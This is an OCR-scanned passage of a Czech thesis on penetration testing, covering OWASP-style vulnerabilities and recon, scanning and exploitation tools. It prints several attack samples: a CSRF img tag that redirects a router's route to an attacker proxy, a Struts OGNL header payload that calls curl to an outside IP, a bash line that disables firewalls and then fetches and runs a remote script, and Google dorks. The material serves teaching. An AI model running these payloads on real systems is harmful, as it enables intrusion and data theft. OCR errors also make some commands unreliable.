Mame nastavenou vychozi interni IP adresu routeru na 192.168.1.1. Nejsme schopni
vyTesit problém s konfiguraci, ale nastésti jsme narazili na izasnou stranku s manualy
www. how

surprisesomeone.com, kterd ndm pomutize problém vy¥esit. Utoénici si nastavili proxy
server na adrese 31.28.47.10, ktery zaznamenava veskery prichozi provoz. Pti kliknuti

na navod ke konfiguraci jsme si nevsimli pixelu 1x1, ktery nesel nacist.

<img src="http://192.168.1.1/admin/config/outsideInterface
?nexthop=31.28.47.10" alt="pwned" height="1" width="1"/>

Utoc¢nici predpokladali, ze pti hledani feSeni pro nas router zrejmé budeme prihlaseni
do jeho rozhrani. Soucasné si byli védomi zranitelnosti ve webovém rozhrani routeru,
takze stacilo vytvorit ten spravny pozadavek, ktery prekonfiguruje router tak, aby

pouzival jako vychozi routu jejich proxy server a tim umoznil sledovat nas sifovy

provoz.

20odkaz na data
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3.9 Pouziti znamych zranitelnych komponent

Aplikace, knihovny a funkce, které pochazeji z open-source zdroji a komunit by
mély byt pouzity s védomim rizika vyskytu zranitelnosti. Kdyz je zranitelna cast
odhalena, ito¢nici ji mohou vyuzit a zptusobit vazné poskozeni aplikace nebo ztratu
dat. Slaba mista nalézame skenovanim nebo manuélni analyzou. Vyvojové tymy se
bohuzel tolik nezaméruji na aktudlnost komponent a knihoven, s kazdou dalsi zavis-
losti to byva horsi. Detekovatelnost a viibec samotna vyuzitelnost zavisi predevsim
na hloubce zanoreni komponenty v dané aplikaci. Vyskyt zranitelnosti se snazime
omezit priubéznou kontrolou na strané klienta a serveru, sledovanim aktualnich zra-
nitelnosti pro vyuzivané komponenty, analyzou knihoven volanych v readlném case

pripadné implementaci aplika¢ni ochrany.

Denial of Service na Apache

Identifikovali jsme webovy server, ktery bézi na Apache verzi 2.2.14. Nalezli jsme
zranitelnost CVE-2014-0231 pro pouzity modul mod cgid, jenz vyuziva Common
Gateway Interface (CGI) skripty pro nestandardni vstupy a navic postradaji me-
chanismus ¢asového limitu pro pozadavky. Utoénik miize vyvolanymi procesy z dos-
tupnych skript zptsobit Denial of Service (DoS).

Remote Code Execution

Zranitelnost ve starsi verzi webového serveru umoznuje odeslani itoku v hlavicce
Content-Type protokolu[HTTPL Obsah hlavicky bude vyhodnocen jako vyraz Object-
Graph Navigation Language (OGNTI), ktery umoziiuje vykondni libovolného kédu

Ila serveru.

Content -Type: %{(#_=’multipart/form-data’).(#_member
Access=0Qognl.0OgnlContext@DEFAULT_MEMBER_ACCESS).(Q@java.
lang.Runtime@getRuntime () .exec(’curl 31.47.106.29:8000}°))

Vzor bash prikazu, které deaktivuji firewall, stdhnou skodlivy kéd, zméni pristupova
prava a spusti jej:

/etc/init.d/iptables stop;service iptables stop;
SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;
wget -c http://mypayloads:6/magicScript;

chmod 777 magicScript;./magicScript;
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Napadené zarizeni zacalo prostfednictvim skriptu naslouchat na nékterém z portt
a vytvorilo reverse shel. Utocnik pak muze vzdalené ovladat napadené zatizeni a

vytvorit si naptiklad trvalé zadni vratka spousténé s kazdym startem systému.

3.10 Nechranéné API

APIT je rozhrani pro programovani aplikaci pouzivané pii provozovani rozsahlejsich
sluzeb, jenz vyuzivaji Single Object Access Protocol (SOAP)) a[XMIl pozadavky pro
vzajemnou komunikaci. Nachazeji se v nich ovSsem chyby nebo neosetrené vyjimky,
které vyrazné ovliviiuji bezpecnost aplikace. V soucasné dobé se nam nabizi mnoho
sofistikovanych feseni, kterda nam pomahaji utvaret nase tradié¢ni webové aplikace.
[APT slouzi jako spojeni mezi slozitymi klientskymi platformami a fadou webovych
aplikaci nebo sluzeb. Webové aplikace jsou nejéastéji psany v jazyce JavaScript a
vyuzivaji [API k ziskédni dat. Implementace zabezpeceni pro [APIl neni jednoduch4, a
proto casto ziistavaji nechrdanéna. S tim je spojen vyskyt zranitelnych mist, jelikoz
jsou vyuzivany ruzné protokoly a rdmce jako zminény pomoci [XKMT] nebo
Representational State Transfer (REST) pfes JavaScript Object Notation (ISON))
a dalsi. Mnoho [API] obsahuje potenciondlni zranitelnosti, avsak ani automatizované
nastroje nejsou schopny komplexné prozkoumat vsechny body rozhrani. Navic neex-
istuje zadna specifickd obrana a detekce je pomérné obtizna. Utocnikovi pak nebrani
nic k tomu, aby za pomoci reverzniho inzenyrstvi prozkoumal rozhrani a zacal ana-
lyzovat probihajici komunikaci mezi klientem a serverem. Proto se snazime takovym

situacim predchéazet a ujistujeme se v nasledujicich bodech:

e komunikace mezi klientem a [AP]] je zabezpecend

e existuje silné schéma ovérovani pro [API rozhrani

e vstupy pozadavkl pro [API] jsou chranéné proti titoktim

e fizeni pristupu je spravné implementovano a chrani tak[API pied neopravnénym
volanim funkei

e cxistuje ochrana proti libovolné injekci kodu

Spatna implementace API

Mame aplikaci pro mobilni bankovnictvi, kterd pouziva rozhrani XKMII[API pro za-
silan{ informaci o t¢tu a provadéni transakef. Utocnik pomoci reverzniho inzenyrstvi
aplikace zjisti, ze ¢islo uctu se predava spolu s ovérenim vii¢i serveru a jménem i
heslem. Pokud by tuto¢nik odeslal legitimni tdaje, ale s jinym bankovnim uc¢tem,

mohl by si vynutit pfistup tplné k jinému uzivatelskému actu. [5]

22 roverzni pifkazovy Fadek, zahdjeny napadenym systémem na ttoéici stroj
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4 Nastroje dle fazi penetracniho testovani

Tato ¢ast je zamérena na seznameni se s prostredky vyuzivanymi pii manualnim a
poloautomatizovaném penetracnim testovani. Popisuje vlastnosti pouzitelnych nastroju
a jejich vyuziti v praxi. Na zakladé ziskanych poznatkll a nasledné kompatibility s
vystupnim prostfedim probéhne selekce k jejich integraci. Cast je bézné dostupna v
linuxovych distribucich prostrednictvim terminalu, Mac OS a nékteré i pro systém

Windows.

4.1 Pribzkum prostredi

WHOIS

Whoiﬂ je v podstaté protokol pro dotazy a odpoveédi, kterym posilame poza-
davky do databazi, jenz uchovavaji informace o registrovanych uzivatelich Inter-
netu. Soucasti jsou IP rozsahy, domény, kontakty, Domain Name System (DNS)) a
dalsi. Posledni verze jsou schopny identifikovat i nejvhodnéjsi server k zasldani onoho

dotazu. Ptiklad pouziti a vypisu nize. [§]

[uzivatel®@linuxTerminal ~]$ whois feec.vutbr.cz

inetnum: 147.229.0.0 - 147.229.254.255
netname: VUTBRNET

descr: Brno University of Technology
country: CZ

admin-c: CA6319-RIPE

created: 2014-11-19T08:23:45Z2
last-modified: 2015-01-30T08:37:07Z

address: Brno University of Technology
address: Antoninska 1

address: 601 90 Brmno

address: The Czech Republic

phone: +420 541145453

phone: +420 723047787

created: 2015-01-30T08:31:35Z
last-modified: 2016-11-04T14:01:527Z

abuse-mailbox: abuse@vutbr.cz

B3https://www.whois.net/
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Host, Nslookup, Dig

Néstroje dostupné predevsim v linuxovych distribucich. Pouzivame je na dotazovani
IDNS| serveru k ziskani cennych informaci o hostitelském systému. Vychozi vypis a
pouziti jednotlivych néstroji se miize lisit. Z praktického hlediska je vyuziti totozné.

Pti préci s nimi mizeme narazit na nasledujici parametry:

A — adresni zadznam pro IPv4

e AAAA — adresni zaznam pro IPv6

e NS — list DNS z6n

e MX, mail — adresni zdznam e-mailovych servert

¢ CNAME - alias pro dotazovanou doménu

e PTR - ukazatel na kanonické jméno, vyuziti na reverzni DNS lookup?]
e SOA — nazvy zon ze vsech autoritativnich DNS serverii

o TXT - textovy zadznam

Minimalisticky a snadno pouzitelny ndastroj pro vyhledavani DNS k prekladu
nazvu domén, IP adres a naopak. Prikaz host zkouma pouze A, AAAA a MX zaz-

namy. Vypis pridruzenych adres dostavame vzdy.

[uzivatel®@linuxTerminal ~]$ host feec.vutbr.cz
feec.vutbr.cz mail is handled by 10 kos.feec.vutbr.cz.

feec.vutbr.cz mail is handled by 20 fest.stud.feec.vutbr.cz.

[uzivatel@linuxTerminal ~]$ host -a feec.vutbr.cz
;; AUTHORITY SECTION:

feec.vutbr.cz. 1800 IN NS gate.feec.vutbr.cz.
feec.vutbr.cz. 1800 IN NS kazi.fit.vutbr.cz.
feec.vutbr.cz. 1800 IN NS rhino.cis.vutbr.cz.
feec.vutbr.cz. 1800 IN NS kos.feec.vutbr.cz.

;; ADDITIONAL SECTION:

gate.feec.vutbr.cz. 1800 IN A 147.229.71.10
kos.feec.vutbr.cz. 1800 IN A 147.229.72.10
kos.feec.vutbr.cz. 1800 IN A 147.229.72.10
gate.feec.vutbr.cz. 1800 IN A 147.229.71.10
kos.feec.vutbr.cz. 1800 IN A 147.229.72.10

Na uvedeném vypisu lze narazit na dostupné zaznamy pro doménu feec.vutbr.cz.

V dalsi fazi jsem pomoci parametru -a pro prikaz host vypsal vSsechny dostupné

24y yhleddni doménového jména podle IP adresy
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zadznamy pro téze doménu. Na zakladé vypsanych informaci mizeme vycist, ze e-
mailovy server je dostupny na doméné kos.feec.vutbr.cz a fest.stud.feec.vutbr.cz. We-
bova stranka bézi na doméné gate.feec.vutbr.cz a kos.feec.vutbr.cz. Pokud bychom
chteli védét vice o zo6mé rhino.cis.vutbr.cz, museli bychom se na doménu opét
dotézat.[9]

Nslookup byl prvnim néstrojem pro dotazovani [DNS| Jde o Command Line In-
terface (CLI) dostupny v prostiedi Linux, Mac OS i Windows. Dig je dostupny

pouze v linuxovém prostiedi a nabizi komplexnéjsi vystup nez Nslookup.

[uzivatel@linuxTerminal ~]$ nslookup www.feec.vutbr.cz
Server: 192.168.128.8
Address: 192.168.128.8#53

Non-authoritative answer:
Name: www.feec.vutbr.cz
Address: 147.229.71.30
Name: www.feec.vutbr.cz
Address: 2001:67c:1220:9847::93eb5:471e
PTi zavolani je vzdy vypsén pouzity [DNS| v mém pripadé lokalni [DNS| Nésledujf
A a AAA adresni zaznamy.
Dig je oznaceni pro Domain information groper, v ptrekladu je to informace o
doméné. Vyhodou je moznost davkového ¢teni ze souboru. Standardné nabizi stejné

moznosti jako host. Vystup muze byt v zavislosti na parametrech rozséhlejsi. [10]

[uzivatel@linuxTerminal ~]$ dig feec.vutbr.cz

; <<>> DiG 9.11.1-P3-RedHat-9.11.1-3.P3.fc26
<<>> feec.vutbr.cz

;5 QUESTION SECTION:

;feec.vutbr.cz. IN A

;; AUTHORITY SECTION:
feec.vutbr.cz. 1120 IN SOA

kos.feec.vutbr.cz. macho.feec.vutbr.cz.

;5 Query time: 1 msec

;; SERVER: 192.168.128.8#53(192.168.128.8)
;; WHEN: Sat Dec 09 14:34:49 CET 2017

;; MSG SIZE rcvd: 88
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Priklady pouziti nastroje Dig:
DNS lookup| za pouziti Google

dig ©8.8.8.8 feec.vutbr.cz
Reverzni DNS lookup:

dig -x 147.229.71.30
Trasovani DNS cesty

dig feec.vutbr.cz +trace
DNS lookup ze souboru

dig -f domeny.txt +short

Dalsi IP néastroje je mozné vyuzivat online https://hackertarget.com/ip-tools/
nebo http://viewdns.info/.

Netcraft

Bezplatny online nastroj Netcraf@ poskytuje analyzy webovych serverti, webhostingu

zahrnujici detekci opera¢niho systému a verzi webového serveru.

Site title Faculty of Electrical Engineering Date first March 2002
and Communication BUT - Home seen

Site rank 946298 Primary English

language
Description BUT - FEEC - Faculty of Electrical Engineering and Communication
Keywords but, vut, vut v brm\304\233, fekt, feec, faculty, electrical, engeneering,

communication, electronics, informatics, automation, telecommunication, cr, cz,
cesk)\ 3034241 republika, czech republic, brno

Netblock owner IP address 0s Web server Last seen
Refresh

Brno University of 147.229.71.30 - Apache/1.3.42 Ben-55L/1.59 Unix 8-Feb-2017

Technology PHP/5.6.27

Brmo 147.229.71.30 FreeBSD Apache/1.3.42 Ben-551/1.59 Unix 8-Feb-2017
PHP/5.6.27

Brno University of 147.229.71.30 FreeBSD Apachef1.3.42 Ben-55L/1.59 Unix 18-Jun-

Technology PHP/5.6.11 2016

Brmo 147.229.71.30 FreeBSD Apache/1.3.42 Ben-551/1.59 Unix 9-5ep-2013
PHP/5.2.17

Brno 147.229.71.30 FreeBSD Apachef1.3.42 Ben-55L/1.59 Unix 20-Apr-
PHP/5.2.13 2010

Brno 147.229.71.16 FreeBSD Apachef1.3.41 Ben-55L/1.57 Unix 22-Mar-
PHP/5.2.6 2010

Obr. 1: Ukazka ¢asti vypisu pro doménu feec.vutbr.cz

23y yhleddni adresy doménového jména
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Dokéaze urc¢it dobu béhu serveru a tim i spolehlivost hostingu. Tim ndm nabizi

uziteéné informace i v ramci pasivniho pruzkumu. Na vypisu pozorujeme historii hos-

tujicich stran, pouzité IP adresy, operacni systémy a webové servery véetné pouzitych

verzi. Dokonce se odkryla i pouzivana verze Personal Home Page (IEHEDE

Google Hacking

Technika shromazdovani informaci ttoc¢nikem vyuzivajicim pokrocilé vyhledavani

pres vyhledava¢ Google. Specialni dotazy mohou vést k odhaleni chybovych stranek,

prihlasovacich 1idaji nebo nezabezpecenych c¢asti webové aplikace.

Nejpouzivanéjsi techniky:

inurl — specifikuje kritéria pro vyhledavani v [URL]

allintitle — omezuje vysledky hledédni na stranky, které maji v titulni fadce
dana kritéria

intitle — na rozdil od predchoziho operatoru hleda v titulni radce jen dle
prvniho kritéria

intext — hleda dany vstup v obsahu stranky

cache - stranka se stahuje z Google cachd®™] vhodné kdyz stranka jiz neexis-
tuje?]

ext — omezuje hledani na soubory s danou pfiponou

site — umoznuje vyhledavani v rdmci jedné stranky

related — prefix, ktery ukaze podobné webové stranky

info — prefix, vypiSe informace o webové strance

link — ukaze webové stranky, jez na zadanou odkazuji

Operatory:

+

vynuti zaclenéni vice vstupt
vyjme dany vstup z vyhledavani
logické nebo

uvozovky pro specifické vstupy
jakykoliv zastupny znak

jakékoliv slovo

Edgkriptovaci programovaci jazyk
28 kopie stranky ulozend spoleénosti Google jako zalozni kopie
29 dalsi variantou je nastroj https://archive.org/web/

29


https://archive.org/web/

Priklady:

Vyhledévani chybovych stranek

intitle:error

Vyhledavani stranek s podporou phpMyAdmin

intitle:phpMyAdmin "Welcome to phpMyAdmin x*"

Vyhledavani stranek obsahujicich soubor robots.txt

ext:txt robots
Dalsi:

inurl:login

inurl:admin inurl:userlist

intitle:index.of

intext:"sql syntax near" | intext:"syntax
error has occurred" | intext:"incorrect syntax near" |
intext :"unexpected end of SQL command" | intext:"Warning:

mysql_connect ()"

intext:"Warning:

| intext:"Warning: mysql_query ()" |
pg_connect ()"

Pro zjednoduseni procesu je mozné pouzit nastroj GooHalf®| od uzivatele

IN3@CrowdShield. Jde o automaticky skript v jazyce Bash, ktery provede sken

pomoci Google Hackingu s riznymi parametry proti cilové strance.

Anonymni Googling

Spousta uzivatelli se domniva, ze kdyz navstévuji Google cache, tak se pohybuji
mimo cilovou stranku. Skutecnost je vsak jina. [HI'MLI obsah sice pochazi z Google

cache, ale nékteré obrazky a dalsi zdroje se stale mohou nacitat z cilového serveru

za predpokladu, Ze jesté existuje. Jestli si skutecné chceme zachovat anonymitu, je

nutno pridat parametr éstrip=1 do puvodniho odkazu. [7]

Originalni odkaz

https://webcache.
nEGk4UpxjTkJ :www.

Upraveny odkaz

https://webcache.
nEGk4UpxjTkJ :www.

&strip=1

googleusercontent.com/search?q=cache:
feec.vutbr.cz/+&cd=1&hl=en&ct=clnké&gl=cz

googleusercontent.com/search?qg=cache:
feec.vutbr.cz/+&cd=1&hl=en&ct=clnké&gl=cz

BUhttps://github.com/1N3/Goohak
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Google Hacking v praxi
PouZivame NVR software, u néjz po prihldseni mame [URLE
https://192.168.208.8:8443/ jpegpull .htm

Ze zajimavosti se podivame, zda nékdo nezanechal podobny software otevieny do
Internetu. Vime, ze dany Network Video Recorder (NVRI) software ve vychozim
rezimu nasloucha na verejné IP adrese, takze stac¢i pouze chybna konfigurace fire-

wallu a nestésti je na svété. Do vyhledavace zadame:
inurl:"/jpegpull.htm"

Hned mezi prvnimi vysledky narazime na prihlasovaci stranku do INVRI softwaru,

kterou obchazime bez prihlasovacich udaju.

12/9/2007 2:23:30 PR = . 2/9/2007 2 o i

Cam1: No signal

Shop_Cam: No signal

Shop_Cam: No signal

E
P/3/2017 7:01E71 PR

Kitchen: No signal

Kitchen: No signal

IB/IVEIRD B3RV Pl

Obr. 2: Ukédzka nasledku Spatné konfigurace (USA Saint Louis)

Dana situace je pravou ukazkou, jak dilezité je dbat na bezpecnost a spravnou
konfiguraci. Pokud vam ale nevadi, Ze se cely svét muze podivat do vaseho obyvaciho

pokoje, tak neni o ¢em diskutovat.

The Harvester

Pointou nastroje The HarvesteIEl je shroméazdit co nejvice uzitecnych dat dle zadanych
specifikaci. Predmétem hledani jsou e-maily, subdomény, jména zaméstnanci. Pouzi-
vaji se vyhledavace jako Google, Bing, Linkedin, Yahoo, Twitter nebo SHODAN
databaze a servery Pretty Good Privacy (PGP)) kli¢i. Ndstroj mé pomoci v poc¢atecnich

Blhttps://github.com/laramies/theHarvester
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fazich penetracniho testovani. Vystup je mozné ulozit do [HTMI] a XM s vystup-
nim grafem a celkovymi statistikami. Nastroj je napsan v jazyce Python a je bézné

dostupny v termindlu distribuce Kali Linux.

theHarvester results

for :feec.vutbr.cz
Dashboard:

83%

11% ey
0% 0%

(514 |[ 67 |[ 87 [[O0 ][ 0 |
[ Emails|| hosts || Vhost|| TLD || Shodan |

Obr. 3: Ukazka priazkumu domény feec.vutbr.cz

Pouzity prikaz:
[uzivatel@linuxTerminal ~]$ theharvester -d feec.vutbr.cz
-1 500 -b all -f fekt.html

Prikazem vyse jsme si vyzadali prohledat 500 vysledkt z kazdého z dostupnych
zdroju a najit na nich domény a e-mailové adresy, které v sobé obsahuji feec.vutbr.cz.
Vysledky byly exportovany do souboru fekt.html a fekt.xml. [11]

Qualys SSL Labs

Online nastroj SSL Server Tesdﬂ slouzi k provedeni hluboké analyzy konfigurace
na verejném webovém serveru. Vysledkem je hodnoceni A az F, které oz-
nacuje uroven bezpecnosti pouzité implementace. Mezi vysledky muzeme
najit detailni informace o pouzivaném kli¢i a certifikatu, podporované verze ,
podporované Sifry, simulace ustanoveni spojeni pro rizné systémy a prohlizece.

Jelikoz webova stranka fakulty doposud nepodporuje , pro testovani
byla vybrana stranka univerzity https://www.vutbr.cz/.

B2https://wuw.ssllabs.com/ssltest/
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SSL Report: www.vutbr.cz (147.229.2.90)

Assessed on: Mon, 11 Dec 2017 14:32:30 UTC | HIDDEN | Clear cache Scan Another »

Summary

Overall Rating

Certificate
Protocol Support

Key Exchange

Cipher Strength

Visit our documentation page for more infermation, configuration guides, and books. Known issues are documented here.

This server accepts RC4 cipher, but only with older protocols. Grade capped to B. MORE INFO »

The server does not Forward with the MORE INFO »

Obr. 4: Ukédzka casti vysledku pro stranku https://www.vutbr.cz/

Vysledné hodnoceni je velmi dobré. Ke snizené znamce doslo vlivem pretrvavajici

podpory proudové sifry RCA4.

4.2 Mapovani prostredi

Nmap

Nmap je skener pro prizkum siti a audit zabezpeceni. Pouziva specidlné vytvorené
IP pakety, kterymi umoznuje detekci hostiteli a sluzeb v pocitacové siti. Nastroj
byl navrzen tak, aby dokazal rychle prohledat rozsahlé sité a soucasné analyzovat
prislusné hostitele. Ma schopnost se prizptisobovat viici latenci v dané siti. Dostupny
je pro Linux, Mac OS X i Windows. Pokud nékomu nevyhovuje prace v terminalu,
miiZe vyzkouset Graphical User Interface (GUI) verzi Zenmap|

Nmap méa nespocet vyuziti. Mezi primarni funkce zahrnujeme detekci hosta,
detekci operac¢niho systému, skenovani porti a analyzu bézicich sluzeb. Navic je k
dispozici pres vice nez 400 Nmap Scripting Engine (NSE) skripti na rtzné zra-
nitelnosti. Nmap umoziiuje export vysledki do Text (IXT]) a XMLl Spusténi bez

jakychkoliv parametri poskytne seznam obvyklych pouziti a pfipadnou pomoc. [12]

Vybrané zakladni prikazy pro Nmap:

Sken IP adresy — nmap 192.168.1.1
Sken celé podsité — nmap 192.168.1.0/24

Bihttps://nmap.org/zenmap/
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Sken nedetekovatelného hosta — nmap -Pn 192.168.1.1

Sken konkrétntho portu — nmap 192.168.1.1 -p 80

Sken vsech portt — nmap 192.168.1.1 -p-

Sken UDP portt — nmap -sU 192.168.1.1

Detekce sluzeb a — nmap -A 192.168.1.1

Intenzivni sken sluzeb a — nmap -T4 -A 192.168.1.1

Skenovani hosta vSemi dostupnymi skripty na protokol Samba (SMBJ):
nmap -sV —script=smb* 192.168.1.1

Priklad vypisu z nastroje nmap:

[uzivatel@linuxTerminal ~]$ nmap -A 192.168.1.1
Starting Nmap 7.40 ( https://nmap.org )

NSE Timing: About 99.62% done; ETC: 19:36

Nmap scan report for mujweb.cz

Host is up (0.020s latency).

Not shown: 65516 closed ports

PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd 6.36.1
22/tcp open ssh MikroTik Router(0S sshd

(protocol 2.0)
| ssh-hostkey:
1024 17:09:4e:15:60:08:80:12:f1:fe:6f:14:9d:bb:11:85

I

| (DSA)

| 2048 07:4a2:0d4:62:56:8e:75:a20:13:1d:64:7b:87:a8:5a:ch6
|  (RSA)

80/tcp open http Apache httpd 2.4.18 (Ubuntu)

| _http-server-header: Apache/2.4.18 (Ubuntu)

| _http-title: Muj Web

Device: router; CPE: cpe:/o:mikrotik:routeros,
cpe:/o:1linux:1linux_kernel

Nmap done: 1 IP address scanned in 284.78 seconds

Testovani otevienych bodu sité je klicové, avsak snadno detekovatelné, a proto
je nutné zachovat opatrny pristup a snizit intenzitu skenovani. Jako pasivni formu

skenovan{ miizeme vyuzit webovou sluzbu Shodan.id*}|

BIttps://www.shodan.io/home
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EllaScanner

ﬁEHaScanned?ﬂjejednoduchy'nésmxﬁ pro prikazovy radek napsany v jazyce Python.
Konkrétnéji je schopen detekovat potencionalni zranitelnosti na tirovni serveru, chy-
béjici bezpecnostni hlavicky a kontroluje doménu jako takovou pomoci treti stran
v oblasti malward®| a spam domén. Jako piiklad jsem uvedl pasivni sken stranek

www. feec.vutbr.cz

[uzivatel@linuxTerminal ~]$ python3 Start.py http://www.fe

ec.vutbr.cz

Potential vulnerability searching Apache/1.3.42
Ben-SSL/1.59 (Unix) PHP/5.6.27 [I]
See more: https://web.nvd.nist.gov/view/vuln/

search-results?query=Apache’201.3.42&search_type=all&cves=on

Potential vulnerability searching PHP/5.6.27 [/]
See more: https://web.nvd.nist.gov/view/vuln/search-results?

query=PHP%205.6.27&search_type=all&cves=on

Waiting third-party scanning [-]

scan by https://sitecheck.sucuri.net
Malware, Website Blacklistin - Not Detected
Injected SPAM, Defacements - Not Detected
No Malware Detected by External Scan.

Check the history of Georgian web-pages and see what type
of security problems were encountered at different time
Continue (y/[nl]) y

Nothing found in history

7 uvedenych vysledki je ziejmé, Ze nejde o problémovou doménu. Doslo ale k detekci
potencionalnich zranitelnosti, kterymi trpi verze Apache a PHP. Nastroj funguje

pouze vuci vefejné dostupnym ciliim.

WafwOOf

Nastroj Wafw00f"| umozituje identifikaci [WAFl Na zdkladé signatury v databézi
dojde k pfifazeni typu nasazeného [WATI

BShttps://github.com/secrary/EllaScanner
Bigkodlivy software
B7https://github.com/EnableSecurity/wafw0Of
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[uzivatel@linuxTerminal ~]$ wafwOOf https://www.example.cz/
WAFWOOF - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking https://www.example.cz/
The site https://www.example.cz/ is behind a Imperva
SecureSphere

Number of requests: 9

Z ukazky muzeme vidét, Ze stranka https://www.example.cz/ je pravdépodobné
pod ochranou Imperva SecureSphere. Existuje fada néstroji, které maji kon-
trolu WA jiz integrovanou. V pripadé jiz popisovaného Nmapu lze vyuzit skriptu
hitp-waf-detect nebo http-waf-fingerprint, kterym lze jeho pritomnost oveérit téz.
Ovsem muze nastat situace, kdy se bude load balanceﬂEﬂ prezentovat jako WAE],
tudiz ne vzdycky se lze na vysledky spolehnout.

CORStest

Néstroj CORStestf|se pouzivé pro hledani $patné konfigurace[CORSl Jde o jednoduchy
a rychly nastroj, ktery kontroluje domény ze souboru. Zranitelnosti jsou detekovany
zaslanim odli$né hlavicky v zahlavi Origin™| a kontrolou odpovédi v zdhlavi hlavicky
Access Control-Allow-Origin] Jde o titok pomoci Host Header Injection™]

[uzivatel@linuxTerminal ~]$ python corstest.py hosts.txt -v

Resource: https://sso.example.cz/login

Origin: https://sso.example.cz/login
ACAOQ: https://sso.example.cz/login
ACAC: True

sso.target.cz/login

Alert: Access-Control-Allow-Credentials present

Resource: https://sso.example.cz/login

Origin: https://evil.cz

ACAQ: https://evil.cz

ACAC: True

sso.example.cz/login - Alert: Origin reflection

Bfbalancer zatizeni serveru
BInhttps://github.com/RUB-NDS/CORStest

B 5znacuje puvod zdroji, obsahem je ndzev serveru
Elgpecifikuje povolené sdilené zdroje

B2 injekee hlavicky hosta
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Tutéz zranitelnost jsme schopni detekovat i manudlné za pouziti pitkazu ¢ URI™}

[uzivatel@linuxTerminal ~]$ curl https://sso.example.cz/login

-H "Origin: https://evil.cz" -I

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Access-Control-Allow-0Origin: https://evil.com
Access-Control-Allow-Credentials: true

Pragma: no-cache

Expires: Thu, 01 Jan 1970 00:00:00 GMT

Cache-Control: no-cache

Cache-Control: no-store

Set-Cookie: JSESSIONID=BPE6F8473CFC7B0896DA601Q91C34804.
cas02; Path=/; Secure; HttpOnly

Content -Type: text/html;charset=UTF-8

Content-Length: 7115

Date: Fri, 3 May 2018 12:58:11 GMT

Set-Cookie: BigIP.sso.example.cz=rd220000000000000000000
000ffff0a8895a3443; path=/

V uvedeném piikladé mtzeme vidét, ze hodnota v zahlavi pozadavku Origin
je dynamicky zopakovana do zahlavi odezvy Access-Control-Allow-Origin. Timto
utocnikovi umoznujeme obejit prvky pristupu. Napriklad pokud je uzivatel pri-
hlasen k webu https://sso.example.cz a navstivi web https://evil.cz, ttoénik muze
provadét jakékoli akce v kontextu prihlaseného uzivatele — pristup ke cookies,
tokentim az uplné prevzeti uctu. Zranitelnost umoznuje ttok Man In The Mid-

dle (MITM]) a tim obchéz{ [SSL/TLS)| sifrovani. Nutno zminit, Ze vyskyt této zra-

nitelnosti je docela casty.

NIKTO

NﬁktdﬁﬂLunoiﬁujerozséhkjéitest\Mebovych,gmének.Jé napsan v jazyce Perl a byl
navrzen tak, aby kontrola probéhla co nejrychleji. Jde o aktivni formu skenovani,
takze pozadavky lze identifikovat na systémech. Existuje vsak anti-IDS
plugin, ktery pozadavky upravi pomoci kédovani a potencionalné ztizi odhaleni.
Vysledky je mozné exportovat do XMI] nebo [HTMIl Ne kazdy nélez muze zna-
menat bezpecnostni riziko, a proto je nutné provadét zpétnou kontrolu nalezenych

zranitelnosti. Mezi kontrolované oblasti patii nespravna konfigurace serveru, ktera

B3 p4stroj pro piikazovy fadek podporujici fadu protokoli
Ehttps://github.com/sullo/nikto
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muze vést k odhaleni zneuzitelnych souborti, dale je kontrola bezpec¢nostnich hlav-
icek a zastaralych verzi programu vcéetné pokrocilé detekce chybovych stranek. Po-
drobnosti ohledné pouziti nalezneme na strance https://cirt.net/nikto2-docs/
options.html. [I3]

Navazuji na n&j nastroje jako WAScan["| Z pohledu vyvoje a stability je Nikto
stale popularni. Stézejni je, ze jeho vystup lze exportovat do dalSich aplikaci.

Priklady pouziti:

Testovani webového serveru — nikto -host http://ezample.cz

Testovani s modulem Injection a Command Execution — nikto -host hitp://example.cz
-Tuning 48

Testovani s vystupem do souboru — nikto -host http://example.cz -o nikto-scan.html
[uzivatel@linuxTerminal ~]$ nikto -host

https://192.168.228.8:9090/system -Tuning x
Nikto v2.1.5

+ Target IP: 192.168.228.8
+ Target Hostname: 192.168.228.8
+ Target Port: 9090

+ Cookie PHPSESSID created without the httponly and secure
flag

+ Retrieved x-powered-by header: PHP/5.3.2-1ubuntu4.30

+ The anti-clickjacking X-Frame-Options header is not
present.

+ The X-Content-Type-Options header is not set. This could
allow the user agent to render the content of the site in
a different fashion to the MIME type

+ /orangehrm/login.php/clientaccesspolicy.xml contains 167
lines which should be manually viewed for improper domains

or wildcards.

+ 4197 items checked: 9 error(s) and 11 item(s) reported
on remote host

+ End Time: 2017-12-11 20:46:38 (GMT1)

(374 seconds)

Hlhttps://github. com/m4110k/WAScan
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7 vypisu je ziejmé, ze zadné vazné zranitelnosti nalezeny nebyly. V konfiguraci
serveru vsak chybi hlavicka X—Frame—Option@, ochrana cookie priznakem securﬂ
a httponlﬂ. Déle byl nalezen podeztely soubor clientaccesspolicy.xml, ktery by mél

byt manudlné zkontrolovan.

4.3 Exploitace

Metasploit framework

Metasploit framework@ je balicek nastroju pro testovani bezpecnosti siti a webovych
aplikaci. Je to nejpouzivanéjsi nastroj pro penetracni testovani na svété. Standardné
je nainstalovan v distribuci Kali Linux. Konkrétné verze framework je bezplatna ko-
munitni verze pro volné pouziti. Metasploit ma rozsahlou databézi skladajici se z 6

typt moduli — payload, exploit, post-exploitation, nop, auxliliary, encoder.[15]

e Payload — skodlivy kéd, ktery je spustén na cilovém systému k vytvoreni
reverse shell.

e Exploit — kéd, ktery vyuziva zranitelnosti na konkrétnim systému k vytvoreni
reverse shell nebo zptsobi neopravnénou zménu v systému. (Dirty COW@,
MS17_01(PT] atd.)

e Post-exploitation — nastroje pouzivané po zavedeni exploitu (keylogirecordelﬂ,
arpfscanne@, vyvolavame operace na napadeném stroji

e Nop — No Operation, pouzivany pro zménu podoby vzoru, skodlivého kodu,
obvykle dochazi k pridani urcitého poc¢tu nahodnych bajti pred payload.

e Auxiliary — skenery zranitelnosti a nastroje k testovani

e Encoder — kodér skodlivych kodu, zméni podobu a skryje tak payload pred
detekei antivirovym programem nebo [IDS/IPS|

Zakladni prikazy:

msfupdate — aktualizace databaze

msfconsole — spusténi konzole Metasploitu

> help (help search) — zobrazi dostupné piikazy

> search (search MS17_010) — vyhledd konkrétni vstup v databdzi modult

B8, nemozni zobrazit stranku jako IFRAME, ochrana proti clickjacking ttoku
